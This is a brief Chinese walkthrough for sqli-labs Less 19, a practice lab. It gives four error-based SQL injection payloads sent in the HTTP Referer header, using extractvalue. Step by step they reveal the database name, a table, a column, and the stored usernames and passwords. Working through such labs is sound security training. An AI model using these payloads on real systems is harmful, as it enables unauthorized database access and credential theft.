sqli-labs Less 19

目录

一、观察less19，思考

二、查数据库名

三、查询表名

​四、查询列名

五、查询具体内容 

---

一、观察less19，思考

  观察less19发现，19关的设定和18关十分相识，细节部分可以看我的18关闯关详细讲解，这里直接开始通关流程。

二、查数据库名

Referer: http://localhost/sqlilabs/Less-19/'and extractvalue(1,concat(0x7e,database(),0x7e)) and '

三、查询表名

Referer: http://localhost/sqlilabs/Less-19/'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and '

四、查询列名

Referer: http://localhost/sqlilabs/Less-19/' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)) and '

五、查询具体内容 

Referer: http://localhost/sqlilabs/Less-19/' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users limit 0,1),0x7e)) and '